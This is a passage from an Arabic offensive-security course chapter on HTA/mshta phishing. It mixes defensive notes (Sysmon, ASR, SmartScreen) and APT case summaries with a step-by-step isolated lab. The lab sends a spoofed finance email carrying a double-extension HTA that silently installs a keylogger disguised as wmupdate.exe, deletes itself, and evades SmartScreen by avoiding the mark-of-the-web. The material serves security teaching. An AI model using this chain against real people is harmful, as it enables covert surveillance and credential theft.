نصيحة عملية: بدل التصفية اليدوية، حوّل هذه الأحداث إلى SIEM (Splunk, Elastic, Sentinel) عبر Windows Event Forwarding (WEF) أو agent مباشر. القيمة الحقيقية تظهر عند ربط Event 1 (mshta launched) مع Event 3 (mshta connected out) عبر ProcessGuid.
5) خلاصة سريعة لتذكرها
!ml = حكم من موديل تعلم آلي، قوي وسريع، لكن False Positive وارد. Wacatac تحديدا "سلة كل شيء مشبوه".
SmartScreen يعتمد على Zone.Identifier ADS في NTFS. أي طريق يتجاوز هذا الـ ADS (لا نزول للقرص، LNK، ثغرة copy2pwn) يتجاوز التحذير الأصفر.
قواعد ASR هي سلوكية وليست توقيعية، تفعّل بـ Set-MpPreference مع مصفوفتين متوازيتين. ابدأ دائما بـ AuditMode قبل Enabled.
Sysmon يعطيك Event 1 (Process) وEvent 3 (Network) كأقوى detection primitives. الفلترة عبر XML، تذكّر أنه لا يوسّع %VARS%، وأن AND داخل نفس الحدث يحتاج لف بـ <Rule groupRelation="and">.
✅ اختبر نفسك: القسم 6
من أي تكرار يبدأ Defender بالتنبيه؟ وما الذي يجعل التكرارات الأولى غير مرئية له؟
الجدول يُظهر أن الطُعم لم يُخفّف حكم محرّك التعلّم الآلي. ماذا يخبرك هذا عن ما يفحصه ذلك المحرّك؟
SmartScreen لا يفحص كل ملف يحمل MOTW. ما الشرط الإضافي؟
ما هي قواعد ASR، وكيف تختلف طريقة عملها عن الكشف بالتوقيع؟
لو أردت، كمدافع، كشف سلسلة HTA عبر Sysmon، فما العلاقة بين العمليات التي ستبحث عنها؟
4/5 = تابع. أقل = راجع جدول Defender وقسم ASR.
القسم 7القسم 7: مجموعات APT الحقيقية التي استخدمت HTA
هذا الطريق ليس تدريبيا فقط، من أكثر الأساليب استخداما في هجمات APT الحقيقية اليوم.
Kimsuky (كوريا الشمالية): DEEP#GOSU و KimJongRAT
من هم: مجموعة تجسس، نشطة منذ ~2012 (تُعرف أيضا APT43). تهتم بمراكز الأبحاث في كوريا الجنوبية واليابان، الإعلاميين، السياسيين، خبراء الأسلحة النووية.
كيف يستخدمون HTA:ZIP يحتوي LNK متنكر كـ PDF (أيقونة Adobe Reader، امتداد مخفي). الـ LNK يشير إلى mshta.exe مع URL بعيد. mshta يجلب HTA يحتوي JScript مضغوط، ينفذ في الذاكرة، ينزل KimJongRAT stager.
حملات موثقة:
DEEP#GOSU (Securonix, Q1 2024)
مارس 2025 حملة "tax lure" بذات النمط: ZIP → LNK → mshta (The Hacker News, 2025)
نموذج ما يظهر في Sysmon Event 1:
text
mshta.exe hxxps://gwriter.online/xxxx.hta
الـ HTA ينزل ملف .cab من ذات النطاق، يستخرجه، يشغل السكريبت. السكريبت ينشئ Scheduled Task للاستمرارية.
TA505: Cl0p وعوائل ransomware
من هم: مجموعة مالية الدوافع، نشطة منذ 2014. أكبر مشغلي ransomware عالميا (Boeing, MOVEit في 2023).
استخدام HTA: بين 2019-2022، TA505 استخدمت HTA كمرحلة أولى بشكل ثابت: بريد + مرفق Excel + macro. الماكرو يستخرج HTA مضمّن ويشغله عبر mshta. الـ HTA بدوره ينزل Get2 downloader. Get2 يقود إلى SDBBot أو Cobalt Strike. منذ 2023 تحولوا أكثر إلى SocGholish + LNK، لكن HTA ما زالت في ترسانتهم.
SideWinder: حملة النووي والبحري 2024
من هم: مجموعة إسناد نسبها الإعلامي غامض، تنسب أحيانا للهند. تنشط ضد جيوش ومصالح حكومية في باكستان، بنغلاديش، سريلانكا، نيبال. توسعت في 2024 لتشمل الشرق الأوسط وقطاع الطاقة النووية.
الحملة الأخيرة (H2 2024): استهدفت قطاع البحرية والقطاع النووي في باكستان ومصر وسريلانكا وبنغلاديش. سلسلة الاستغلال: ملف RTF يستغل ثغرة قديمة → mshta.exe يفتح HTA بعيد يحتوي JavaScript مضغوط → loader مسمى "DownloaderModule" في الذاكرة. المصدر: Kaspersky Securelist أكتوبر 2024.
MuddyWater (إيران / MERCURY): POWERSTATS
من هم: مربوطة بـ IRGC الإيرانية (تُعرف أيضا Static Kitten، MERCURY). نشطة منذ 2017. تركز على البنى التحتية في الشرق الأوسط.
نمط HTA التاريخي: منذ 2017 حتى 2022: كل حملات MuddyWater كانت تعتمد على HTA. سلسلة نموذجية: Word document → ماكرو ينشئ HTA في %TEMP% → ماكرو يشغل mshta → HTA ينزل POWERSTATS (backdoor بلغة PowerShell).
المجموعات الأربع تختلف في الجغرافيا، في الدوافع، في العائلات النهائية. لكنها تشترك في الخطوة الأولى: HTA عبر mshta.exe. عندما تبني حمولات الطريق D اليوم، أنت لا تجرّب، أنت تعيد بناء الأداة الأولى في هجوم دولة.
✅ اختبر نفسك: القسم 7
اذكر مجموعتَي APT استخدمتا HTA، مع اسم الحملة والسنة لكل منهما.
ما القاسم المشترك بين استخدامات HTA عبر هذه المجموعات، في أي مرحلة من سلسلة الهجوم تقع؟
لماذا تستمر مجموعات متقدّمة في استخدام تقنية عمرها أكثر من عشرين عاماً؟
اربط ما رأيته هنا بتقنية MITRE ATT&CK المناسبة (رقم التقنية واسمها).
3/4 = تابع.
القسم 8القسم 8: المعمل الكامل: تنفيذ الطريق D من البداية للنهاية
سنبني الحملة كاملةً من الصفر — من صندوق WSL Ubuntu فارغ إلى صدفة عكسية على Victim VM — في تسع خطوات مرقّمة. كلّ خطوة تنصب أدواتها بنفسها، ولا تفترض شيئا لم تُنصبه خطوة سابقة داخل هذا القسم. لن تجد جملة «كما فعلنا في المحاضرة 2» — إن احتجت شيئا، فهو هنا.
كلّ أمر في هذا القسم شُغِّل حرفياً على WSL Ubuntu 22.04 قبل نشر هذه النسخة. المخارج التي تراها تحت كلّ خطوة (تحت عنوان «النتيجة المتوقعة») هي الناتج الفعلي، لا مثالٌ مُتخيَّل.
🧭 عن الطبولوجيا نستخدم WSL Ubuntu مهاجماً و Windows 11 VM ضحية. عنوان الـ Attacker في الأمثلة هو 10.10.10.10 (شبكة VMnet2 المعزولة في VMware). إن كنت على VirtualBox Host-Only 192.168.56.0/24 من المحاضرة 1، استبدل 10.10.10.10 بـ 192.168.56.1 في كلّ سطر يظهر فيه. لا شيء آخر يتغيّر.
قائمة المتطلبات قبل المعمل
#
على أيّ جهاز
الشرط
كيف تتحقّق
1
Attacker (WSL Ubuntu)
python3 موجود ومعه venv
python3 --version يعرض 3.10 أو أحدث
2
Attacker
الـ Keylogger من المحاضرة 1 (keylogger_edu.exe) موجود في مسار تعرفه
سنَنسخه إلى ~/lab/serve/ في الخطوة 4
3
Attacker
صلاحية sudo لتثبيت swaks و mailpit
sudo -v بلا خطأ
4
Victim (Win 11 VM)
لقطة post-tooling من المحاضرة 2 مستعادة، Defender شغّال، SmartScreen شغّال
من الـ VM: Get-MpComputerStatus يُظهر AntivirusEnabled: True
5
Victim
يستطيع فتح http://10.10.10.10:8000 من متصفّح الـ VM
افتح المتصفّح، أدخل الرابط، يجب أن ترى قائمة مجلّد
6
Victim
يستطيع الوصول لـ http://10.10.10.10:8025 (Mailpit UI)
سنشغّل Mailpit في الخطوة 5 قبل الاختبار
إن فشل أيّ صفّ، أوقف واصلح قبل المتابعة. الخطوات التالية تفترضها كلّها.
الخطوة 1: نصب أدوات الـ Attacker
نُثبّت ثلاث أدوات فقط: swaks (لإرسال البريد)، mailpit (خادم بريد اختباري بواجهة ويب)، و python3-venv (لعزل reportlab في بيئة خاصة).
bash
# على الـ Attacker (WSL Ubuntu):
sudo apt-get update
sudo apt-get install -y swaks python3-venvcurl# mailpit توزَّع كـ ثنائي واحد على GitHub Releases:curl-fsSL https://github.com/axllent/mailpit/releases/download/v1.31.1/mailpit-linux-amd64.tar.gz \
-o /tmp/mailpit.tgz
tar-xzf /tmp/mailpit.tgz -C /tmp mailpit
sudo install -m0755 /tmp/mailpit /usr/local/bin/mailpit
النتيجة المتوقعة:
text
$ swaks --version | head -1
swaks version 20201014.0
$ mailpit version
Mailpit v1.31.1 compiled with go1.27.1 on linux/amd64
⚠️ لماذا Mailpit وليس Postfix؟ تنصيب Postfix + Dovecot + Roundcube كامل يحتاج ~40 دقيقة وشهادة TLS من mkcert واسم نطاق داخلي. Mailpit = ثنائي واحد، لا إعداد، له واجهة ويب مطابقة لواجهة صندوق وارد حقيقي. الضحية عندما تفتح http://10.10.10.10:8025 سترى بريد الوارد كأنّها فتحت Gmail. للنسخة الكاملة انظر ملحق ج في نهاية هذا الفصل — الحدث الهجومي الذي نبنيه لا يفرّق.
الخطوة 2: تحضير مجلّدات العمل والحمولة
نُنشئ ثلاثة مجلّدات ذات أدوار مختلفة تجنّبا للخلط الذي وقعت فيه أمثلة قديمة:
bash
mkdir-p ~/lab/hta # الحمولات النهائية للإرسال (payload.hta و Q4-Report.pdf.hta)mkdir-p ~/lab/serve # ما يخدمه خادم HTTP للضحية (keylogger و decoy PDF فقط)mkdir-p ~/lab/venv # بيئة Python المعزولة (لن نلمس Python النظام)
الآن نحفظ الحمولة النهائية (من كتلة التكرار 6 أعلاه، أو من ملحق أ في نهاية الفصل):
bash
cd ~/lab/hta
nano payload.hta
# ← الصق كامل محتوى التكرار 6# احفظ (Ctrl+O, Enter, Ctrl+X)# احفظ نسخة بالاسم الذي ستراه الضحية:cp payload.hta "Q4-Report.pdf.hta"
🧠 لماذا مجلّدان منفصلان لـ hta/ و serve/؟python -m http.server يخدم كلّ ملفات المجلّد الذي شُغِّل منه، ويولّد auto-index إن لم يوجد index.html. لو خلطنا الملفَّين، الضحية عندما تفتح http://10.10.10.10:8000/ بالمصادفة سترى payload.hta في قائمة المجلّد. المفصل الذي حلّ المشكلة: استخدام --directory صراحة (خطوة 4) والاحتفاظ بمجلّدين مختلفين.
الخطوة 3: توليد الطعم PDF
نُنشئ بيئة Python معزولة ونثبّت reportlab داخلها فقط. لا نلمس Python النظام.
🔑 لماذا --directory ~/lab/serve و --bind 0.0.0.0؟ - --directory ~/lab/serve = يخدم من هذا المسار مهما كان مسار العمل الحاليّ. بهذا لا حاجة للـ cd أوّلا، ولا خطر أن يخدم مجلّد ~/lab/hta بالغلط ويكشف payload.hta. - --bind 0.0.0.0 = استمع على كلّ الواجهات (بما فيها eth0 الذي تراه الضحية VM). لو كتبت --bind 10.10.10.10 كما في نُسخ قديمة، ستفشل بـ OSError: [Errno 99] إن لم يكن 10.10.10.10 معيّناً على واجهة على جهازك. 0.0.0.0 يعمل في كلّ الطبولوجيات.
الخطوة 5: تشغيل Mailpit وإرسال البريد
ثلاث خطوات فرعيّة: نشغّل الخادم، نتأكّد أنّه يستجيب، نطلق swaks.
5.1 — تشغيل Mailpit
bash
# في نافذة bash جديدة (اتركها مفتوحة):
mailpit --smtp0.0.0.0:1025--listen0.0.0.0:8025
النتيجة المتوقعة:
text
[mailpit] Starting Mailpit v1.31.1
[mailpit] [smtpd] starting on [::]:1025 (no encryption)
[mailpit] [http] starting on [::]:8025
Messages: 0 = الصندوق فارغ الآن. جيّد، سنملأه في الخطوة التالية.
5.3 — إرسال بريد التصيّد بـ swaks
bash
swaks --to victim@corp-notes.test \
--from finance@corp-notes.test \
--server127.0.0.1--port1025 \
--header"Subject: Q4 Financial Report - Please Review" \
--body"Attached is the Q4 report. Please review and confirm receipt." \
--attach"@$HOME/lab/hta/Q4-Report.pdf.hta"
🚨 المفصل الحرج: @ قبل المسار، ثمّ $HOME وليس ~swaks يستخدم @ سابقةً لمعنى «المحتوى موجود في هذا الملف، اقرأه من القرص». بلا @، السلسلة نفسها تصبح محتوى المرفق. لكن انتبه: --attach @~/lab/hta/Q4-Report.pdf.htaيفشل بـ: Option processing error: file ~/lab/hta/Q4-Report.pdf.hta not openable. السبب: bash يوسّع ~ إلى $HOME فقط في بداية كلمة، ووجود @ قبله يعطّل التوسيع. يجب استخدام $HOME صراحةً بين علامتَي اقتباس مزدوجتَين، أو المسار المطلق. جرّب الشكل الخاطئ عمداً لترى رسالة الخطأ.
النتيجة المتوقعة (السطور الأخيرة):
text
<- 250 2.0.0 Ok: queued as 3Y1my29N8ujyHbqEWxeUYU
-> QUIT
<- 221 2.0.0 hasher Mailpit ESMTP Service closing transmission channel
=== Connection closed with remote host.
total: 1 + Attachments: 1 = الرسالة وصلت مع المرفق. الآن الدور على الضحية.
الخطوة 6: التفجير على الضحية VM
كلّ ما تحت هذا العنوان يُنفَّذ على Windows 11 VM، لا على WSL.
افتح Chrome أو Edge واذهب إلى http://10.10.10.10:8025 (واجهة Mailpit).
ستجد رسالة من finance@corp-notes.test. اضغطها.
اضغط على المرفق Q4-Report.pdf.hta أو زرّ Download.
المتصفّح ينزّل الملفّ إلى %USERPROFILE%\Downloads\ — المسار الفعلي C:\Users\<victim>\Downloads\Q4-Report.pdf.hta.
افتح Explorer على مجلّد Downloads. لو Hide extensions for known file types مفعّل (الوضع الافتراضي)، الاسم يظهر Q4-Report.pdf فقط.
double-click الملف.
بعد ~1 ثانية: يفتح Q4-report.pdf في Adobe Reader أو Edge، الضحية ترى تقريراً حقيقياً.
في الخلفية: wmupdate.exe يعمل الآن بلا نافذة.
🕵️ عن التحذيرات قد يحذّر المتصفّح عند التنزيل («This type of file can harm your device»). في هجوم حقيقيّ الضحية غالباً تتجاوز التحذير — هذا هو موضوع كلّ الفصل. في المعمل: اضغط Keep.
# (1) الـ Keylogger يعمل كعمليّة؟Get-Process wmupdate -ErrorAction SilentlyContinue |
Format-Table Id, ProcessName, StartTime
النتيجة المتوقعة: صفّ واحد فيه PID ووقت البدء. لو الجدول فارغ = الحمولة لم تُشغَّل.
powershell
# (2) الحمولة استقرّت في مسارها الشرعيّ المظهر؟Test-Path"$env:APPDATA\Microsoft\Windows\Update\wmupdate.exe"
النتيجة المتوقعة:True.
powershell
# (3) الـ HTA حذف نفسه بعد التنفيذ (selfDelete)؟Test-Path"$env:USERPROFILE\Downloads\Q4-Report.pdf.hta"
النتيجة المتوقعة:False — الملف اختفى.
powershell
# (4) Zone.Identifier على الحمولة؟ (هذا هو الفرق الحاسم)Get-Content"$env:APPDATA\Microsoft\Windows\Update\wmupdate.exe" `
-Stream Zone.Identifier -ErrorAction SilentlyContinue
النتيجة المتوقعة: صفوف بحدث Id: 1 (Process Create) تحوي mshta.exe في الرسالة. لو Sysmon غير مثبّت (وهو غير مطلوب) هذا الأمر يفشل بصمت — لا ضرر.
🔑 نقطة رقم 4 مهمّة جدّاً — لماذا يفوت SmartScreen عندما ADODB.Stream يكتب بايتات من الشبكة إلى القرص، لا يُضاف Zone.Identifier إلى الملف. هذا فرق كبير عن التحميل عبر المتصفّح. النتيجة على الحمولة wmupdate.exe: - SmartScreen لا يفحصها لأنّ لا MOTW عليها - Windows لا يعتبرها ملفّاً من الإنترنت - بعض أدوات EDR القديمة تفوّتها كلّياً هذه تفصيلة معروفة يستخدمها كلّ APT.
الخطوة 8: العودة للحالة النظيفة
powershell
# على الـ Victim: أوقف الـ Keylogger:Stop-Process -Name wmupdate -ErrorAction SilentlyContinue
# ثمّ استعد لقطة post-tooling من واجهة VMware/VirtualBox.# (اللقطة أنظف من التنظيف اليدوي لأنّها تعيد Defender و SmartScreen لحالتهما.)
bash
# على الـ Attacker: أوقف الخادم و Mailpit بـ Ctrl+C في نافذتيهما.# لتفريغ صندوق Mailpit بين الجولات:curl-s-X DELETE http://127.0.0.1:8025/api/v1/messages
النتيجة المتوقعة: بعد الأمر، curl http://127.0.0.1:8025/api/v1/info يُعيد Messages: 0.
نظرة سريعة: من المفترض أن ترى ماذا في كلّ خطوة
الخطوة
العلامة
المخرج الحقيقي
1
swaks --version + mailpit version
سطر لكلّ منهما فيه رقم الإصدار
2
ls ~/lab/hta/
ملفّان بنفس الحجم
3
ls ~/lab/serve/Q4-report.pdf
ملف ~1.6 KB
4
قائمة curl
سطران فقط — keylogger_edu.exe و Q4-report.pdf
5
نداء swaks
250 Ok: queued as ... وسطر QUIT
5
نداء API Mailpit
"total":1,"unread":1, ... "Attachments":1
6
على الضحية
Get-Process wmupdate يعرض صفّاً
7
على الضحية
Zone.Identifier غير موجود على wmupdate.exe
8
تنظيف
Messages: 0 بعد DELETE
لو أيّ صفّ لم يطابق، توقّف وارجع للخطوة المعنيّة قبل المتابعة.
✅ اختبر نفسك: القسم 8
لماذا فصلنا ~/lab/hta/ عن ~/lab/serve/ بدل استخدام مجلّد واحد؟
ما الفرق العمليّ بين --attach @/abs/path و --attach @~/path في swaks؟ لماذا الثاني يفشل؟
لو Sysmon غير مثبّت على الضحية، أيّ خطوة تحقّق تفشل بصمت وأيّها لا تتأثّر؟
عند الاختبار على VirtualBox Host-Only 192.168.56.0/24، ما السطر الوحيد في المعمل الذي يتغيّر؟
لماذا لا يظهر Zone.Identifier على wmupdate.exe رغم أنّه نزّل من الإنترنت؟
3/5 = تابع.
ملحق ب: شرح تفصيلي لأوامر المعمل الكامل
هذا الملحق يشرح كل أمر ورد في القسم 8 كأنك تراه لأول مرة. الترتيب مطابق للخطوات 1 إلى 7. المصطلحات الإنجليزية القصيرة تبقى كما هي داخل الجمل العربية.
apt-get update = لا يثبّت شيئاً؛ يحدّث فقط قوائم الحزم المتوفّرة من مخزن Ubuntu. لولا هذا السطر، apt-get install قد يطلب حزمةً معلومة بنسخة قديمة أو غير موجودة في مخزنك المحلّي.
التحديث يستغرق ثوانٍ ويجب أن يسبق أيّ install بعد فترة توقّف طويلة عن استخدام النظام.
install (وليس cp) = ينسخ ويضبط الأذونات في خطوة واحدة.
-m 0755 = rwxr-xr-x — قابل للتنفيذ من كلّ المستخدمين، قابل للكتابة من root فقط.
/usr/local/bin/ = مسار البرامج المضافة يدويّاً، دائماً على PATH قبل /usr/bin/.
الخطوة 2: حفظ الحمولة
bash
mkdir-p ~/lab/hta && cd ~/lab/hta
nano payload.hta
cp payload.hta "Q4-Report.pdf.hta"
mkdir -p ~/lab/hta
mkdir = make directory، أمر يونكسي لإنشاء مجلد.
-p = parents. له فائدتان معا: — ينشئ كل المجلدات الوسيطة في المسار (لو ~/lab غير موجود، سينشئه أولا ثم hta بداخله). — لا يعطي خطأ إذا المجلد موجود مسبقا (بدون -p تحصل على File exists).
هذا يجعل الأمر idempotent، يمكن تشغيله مرارا بأمان.
~ = مجلد المستخدم الحالي (اختصار لـ $HOME، أي /home/hashim مثلا).
&&
عامل شرطي في bash: نفّذ الأمر الثاني فقط إذا نجح الأول (خرج بكود 0).
لو فشل mkdir (صلاحيات مثلا)، لن يحاول cd الدخول لمكان غير موجود.
مقابله ; يشغّل الثاني دائما، و || يشغّل الثاني فقط عند فشل الأول.
nano payload.hta: لماذا nano وليس vim أو code؟
nano = محرر نصي طرفي بواجهة مباشرة. الاختصارات مكتوبة أسفل الشاشة (^O للحفظ، ^X للخروج). لا يوجد "أوضاع"، تكتب مباشرة.
vim = محرر قوي جدا لكن له modes (Normal / Insert / Visual). المبتدئ يفتحه، يضغط حروف، لا يحدث شيء، يحاول الخروج، يجد نفسه محبوسا. الخروج نفسه (:q!) غير بديهي.
code = محرر Visual Studio Code بواجهة رسومية. لا يعمل في WSL بدون X server أو إضافة Remote-WSL، ويفتح نافذة منفصلة، يبطئ التدفق.
للمعمل: nano أسرع للمبتدئ لأنه يبقيك في الطرفية بدون منحنى تعلم.
cp payload.hta "Q4-Report.pdf.hta"
cp = copy. ينسخ الملف الأول إلى اسم الثاني (يترك الأصلي كما هو).
لماذا الاسم Q4-Report.pdf.hta بالذات؟ — نستغل ميزة Windows Explorer الافتراضية Hide extensions for known file types. عندما تكون مفعّلة (وهي الوضع الافتراضي)، Windows يخفي الجزء الأخير المعروف فقط. — .hta ليس من الامتدادات "المعروفة" التي يخفيها Explorer في Windows 11 الحديث، لكنها كانت كذلك تاريخيا، والاسم Q4-Report.pdf.hta يصنع وهم بصري حتى لو ظهر الامتداد: العين تلتقط .pdf أولا وتتوقف.
علامات الاقتباس "..." ضرورية لأن الاسم يحوي نقطتين، لولاها bash يعاملها كوسائط منفصلة في بعض السياقات (مع مسافات على وجه الخصوص).
نحتفظ بنسختين: payload.hta للتعديل السريع، و Q4-Report.pdf.hta للإرسال الفعلي.
Heredoc بصيغة <<'HTAEOF' (لو استخدمناها بدل nano)
Heredoc = طريقة bash لتمرير نص متعدد الأسطر لأمر عبر stdin.
cat > file <<HTAEOF ... HTAEOF = "اقرأ كل شيء حتى ترى السطر HTAEOF واكتبه في file".
لماذا الاقتباس المفرد <<'HTAEOF'؟ — بدون اقتباس: bash يفسّر الرموز داخل النص. أي $var يُستبدل بقيمة المتغير، والـ `cmd ينفَّذ، و \ هو رمز escape. — حمولات HTA تحوي $ (نادر) وتحوي **مسارات \ ** وتحوي أحيانا `. لو تُرك بدون اقتباس، bash سيأكل هذه الرموز قبل أن يصل النص للملف. — الاقتباس المفرد حول HTAEOF يقول لـ bash`: عطّل كل التوسيع، احفظ النص حرفيا بايت ببايت.
قاعدة عامة: إذا لم تكن تريد استبدال متغير داخل الكتلة، اقتبس دائما.
الخطوة 3: طعم PDF بـ reportlab
bash
python3 <<'EOF'
from reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import letter
c = canvas.Canvas("Q4-report.pdf", pagesize=letter)
c.setFont("Helvetica-Bold", 20)
c.drawString(72, 720, "Corp Notes Inc. - Q4 2025 Report")
c.setFont("Helvetica", 12)
c.drawString(72, 680, "Revenue: $12.4M (+18% YoY)")
c.drawString(72, 660, "Operating Income: $2.1M")
c.drawString(72, 640, "See attached schedule for details.")
c.save()
print("Created Q4-report.pdf")
EOF
python3 <<'EOF' ... EOF
نفس فكرة Heredoc أعلاه، لكن الأمر المستقبل للنص هو python3 بدل cat.
python3 بلا وسائط يقرأ من stdin وينفّذ ما يُقرأ كسكربت.
الاقتباس 'EOF' حرج هنا أيضا: لو كتبنا EOF بدون اقتباس، فأي $ في السكربت (مثل $12.4M) سيحاول bash توسيعه قبل أن يصل python.
from reportlab.pdfgen import canvas
reportlab = مكتبة Python لتوليد ملفات PDF من الصفر (لا تعدّل موجود، بل تكتب جديدا).
pdfgen.canvas = الوحدة التي تحوي واجهة "الرسم على لوحة".
نموذج فكري: تخيّل ورقة بيضاء وقلما، تضع القلم عند إحداثيات وترسم.
from reportlab.lib.pagesizes import letter
letter = ثابت يمثل مقاس ورقة US Letter (612×792 نقطة PostScript، أي 8.5×11 بوصة).
بدائل: A4, legal, A3.
الوحدة الأساسية في reportlab هي النقطة (point) = 1/72 بوصة.
canvas.Canvas("Q4-report.pdf", pagesize=letter)
model الكائن: Canvas تمثّل "ملف PDF مفتوح للكتابة".
الوسيط الأول = اسم الملف الذي سيُكتب على القرص.
pagesize=letter = مقاس الصفحة الأولى.
كل شيء بعد ذلك، نص، خطوط، أشكال، يُرسم على هذه الصفحة الحالية حتى تستدعي showPage() (لبدء صفحة جديدة) أو save() (لإنهاء الملف).
c.setFont("Helvetica-Bold", 20)
يحدد الخط والحجم للرسم اللاحق. لا يرسم شيئا، فقط "يشحن القلم".
Helvetica-Bold و Helvetica = خطوط PDF قياسية (Standard 14) مضمنة في كل قارئ. لا حاجة لتضمين ملف .ttf.
20 = حجم الخط بالنقاط.
c.drawString(x, y, text) ونظام الإحداثيات
يرسم text بحيث يبدأ الحرف الأول عند النقطة (x, y).
نظام الإحداثيات في PDF: الأصل (0, 0) في الزاوية السفلى اليسرى، عكس معظم الصور والويب حيث الأصل أعلى اليسار. — x يزيد يمينا. — y يزيد صعودا.
لذلك في ورقة letter (ارتفاع 792 نقطة): — y = 720 قريب من الأعلى (72 نقطة من القمة). — y = 640 أنزل بـ 80 نقطة تقريبا.
x = 72 = بوصة واحدة من اليسار (هامش تقليدي).
c.save()
يكتب هيكل الـ PDF (trailer, xref, objects) إلى القرص ويقفل الملف.
بدون هذا الاستدعاء لن يوجد ملف صالح، كل ما قبله كان تراكما في الذاكرة.
-m module = شغّل الوحدة كنص برمجي. الفرق عن الاستدعاء المباشر: — python3 script.py = ينفّذ ملفا محددا بمسار. — python3 -m http.server = يبحث Python عن الوحدة http.server داخل مسار المكتبة القياسية، ويشغّل دالتها __main__.
http.server وحدة مضمنة في Python 3 بلا تثبيت، تعطيك خادم ويب بدائي في سطر واحد.
8000
رقم المنفذ الذي يستمع عليه الخادم. الافتراضي 8000.
كل ما تحت 1024 يحتاج sudo (منافذ محجوزة). 8000 منفذ شائع للتجارب لأنه فوق ذلك.
--bind 0.0.0.0
يحدّد عنوان IP للواجهة الشبكية التي يستمع الخادم عليها. الافتراضي بدونه هو نفسه 0.0.0.0.
0.0.0.0 = "استمع على كلّ الواجهات": lo, eth0, و أيّ واجهة VMnet2 أو Host-Only تربطك بـ Victim VM. الفائدة: نفس الأمر يعمل على VMware VMnet2 (10.10.10.10) أو VirtualBox Host-Only (192.168.56.1) بلا تعديل.
نسخة قديمة كانت تستخدم --bind 10.10.10.10. تفشل بـ OSError: [Errno 99] Cannot assign requested address إن لم يكن 10.10.10.10 معيّناً على واجهة على هذا الجهاز. 0.0.0.0 يتفادى هذا الخطأ.
العزل التشغيلي (منع الشبكة الحقيقية من رؤية الخادم) يجب أن يأتي من الشبكة نفسها، لا من الـ --bind: شبكة VMnet2/Host-Only منفصلة عن Wi-Fi/Ethernet بحكم تكوينها.
--directory ~/lab/serve
يقول للخادم: "اخدم من هذا المسار مهما كان مسار العمل الحاليّ".
بدون هذا الخيار، http.server يخدم من pwd وقت التشغيل. لو نسيت cd قبل تشغيله، قد يخدم ~/lab/hta بالخطأ ويكشف payload.hta في auto-index.
--directory جعل هذه الأخطاء مستحيلة: المسار جزء من الأمر نفسه.
سلوك عرض الدليل
قواعد الرد على طلب GET /: — إن وُجد index.html في الدليل، يُرسل مباشرة. — إن لم يوجد، يولّد صفحة HTML تلقائياً تسرد كلّ الملفات والمجلدات بروابط قابلة للنقر.
لهذا نضع في ~/lab/serve/ فقط ما نريد الضحية أن تصل إليه: keylogger_edu.exe و Q4-report.pdf. لو زارت http://10.10.10.10:8000/ بالمصادفة، هذان فقط ما ستراه.
payload.hta و Q4-Report.pdf.hta يبقيان في ~/lab/hta/ وحدهما — لا ينكشفان أبداً على HTTP.
الخطوة 5: تشغيل Mailpit وإرسال البريد بـ swaks
bash
# شغّل Mailpit في نافذة (اتركها مفتوحة):
mailpit --smtp0.0.0.0:1025--listen0.0.0.0:8025# من نافذة أخرى — أطلق بريد التصيّد:
swaks --to victim@corp-notes.test \
--from finance@corp-notes.test \
--server127.0.0.1--port1025 \
--header"Subject: Q4 Financial Report - Please Review" \
--body"Attached is the Q4 report. Please review and confirm receipt." \
--attach"@$HOME/lab/hta/Q4-Report.pdf.hta"
mailpit --smtp 0.0.0.0:1025 --listen 0.0.0.0:8025
mailpit = ثنائيّ Go واحد يجمع دوريَن: خادم SMTP بسيط، وواجهة ويب لعرض ما وصل. لا قاعدة بيانات دائمة (كلّ شيء في الذاكرة أو ملفّ SQLite في /tmp)، لا MX record، لا تسليم حقيقيّ للخارج. مثاليّ للمعامل المعزولة.
--listen 0.0.0.0:8025 = واجهة الويب و REST API. الضحية تفتح http://10.10.10.10:8025 في Chrome وترى صندوق وارد يشبه Roundcube أو Gmail.
0.0.0.0 على الاثنين لأنّ الضحية VM منفصلة عن WSL. لو شغّلت الاثنين على WSL نفسها فقط، 127.0.0.1 كافٍ.
swaks — لماذا هذه الأداة تحديداً؟
Swiss Army Knife for SMTP: أداة Perl سطر أوامر مصمّمة لاختبار خوادم البريد. تكوّن رسالة SMTP كاملة (envelope + headers + body + attachments) وتحاور الخادم يدويّاً وتطبع كلّ تبادل.
مقابل sendmail أو mail أو mutt: هذه أدوات إنتاج، لا تكشف حوار SMTP الفعلي. swaks يطبع كلّ سطر -> أرسلته و <- استلمته — تعليميّ بامتياز، ومفيد لتشخيص أيّ فشل بريدّ.
الفاصل \ نهاية السطر
في bash، \ + سطر جديد = تكملة السطر التالي. الأمر يُقرأ سطرا واحدا منطقيا رغم كتابته على عدة أسطر.
فقط للقراءة البشرية. يمكن كتابته سطرا واحدا طويلا بلا \.
--to victim@corp-notes.test
envelope recipient. هذا هو RCPT TO في بروتوكول SMTP، العنوان الذي يوجّه الخادم الرسالة إليه فعلا.
مهم أن نميز: عنوان To: الظاهر للمستخدم في رأس البريد شيء آخر، يمكن للمهاجم أن يُظهر عنوانا ويرسل لعنوان مختلف تماما. swaks يجعل الاثنين متطابقين افتراضيا، لكن يمكن الفصل.
--from finance@corp-notes.test
envelope sender (يُعرف أيضا بـ MAIL FROM أو Return-Path).
هذا العنوان الذي ترتد إليه رسائل الفشل. لا يوجد أي مصادقة افتراضية عليه، يمكنك كتابة أي شيء.
في العالم الحقيقي: SPF, DKIM, DMARC تفرض تطابق النطاق مع مصدر الإرسال. في المعمل المعزول لا شيء من هذا مفعّل، لذلك انتحال العنوان ينجح فورا.
نستخدم finance@corp-notes.test لبناء الثقة لدى الضحية، كأن الرسالة من إدارة المالية.
--server 127.0.0.1 --port 1025
عنوان + منفذ خادم SMTP الذي يستقبل الرسالة. 127.0.0.1 لأنّ Mailpit يعمل على نفس WSL Attacker الذي يشغّل swaks.
--port 1025 صريح لأنّ Mailpit يستمع على منفذ غير معياريّ (25 = المنفذ الافتراضي لـ swaks = المنفذ الذي يستخدمه Postfix عادةً، وليس ما نريد هنا).
لا حاجة لـ MX record ولا DNS — swaks يتّصل بعنوان IP مباشرةً، والرسالة تصل رغم أنّ نطاق corp-notes.test مجرّد اسم مخترَع.
--header "Subject: ..."
يضيف أي RFC 5322 header للرسالة. Subject: هو الأشهر.
الصيغة "HeaderName: value" نصا واحدا مع : فاصلة.
يمكن تكرار الخيار: --header "X-Priority: 1" --header "Reply-To: ...".
--body "..."
نص الرسالة (plain text). لو أردت HTML body هناك --body-attach مع نوع MIME.
--attach "@$HOME/lab/hta/...": @ هو المفتاح، ومصيدة ~
@ قبل المسار = "المحتوى موجود في هذا الملف، اقرأه من القرص".
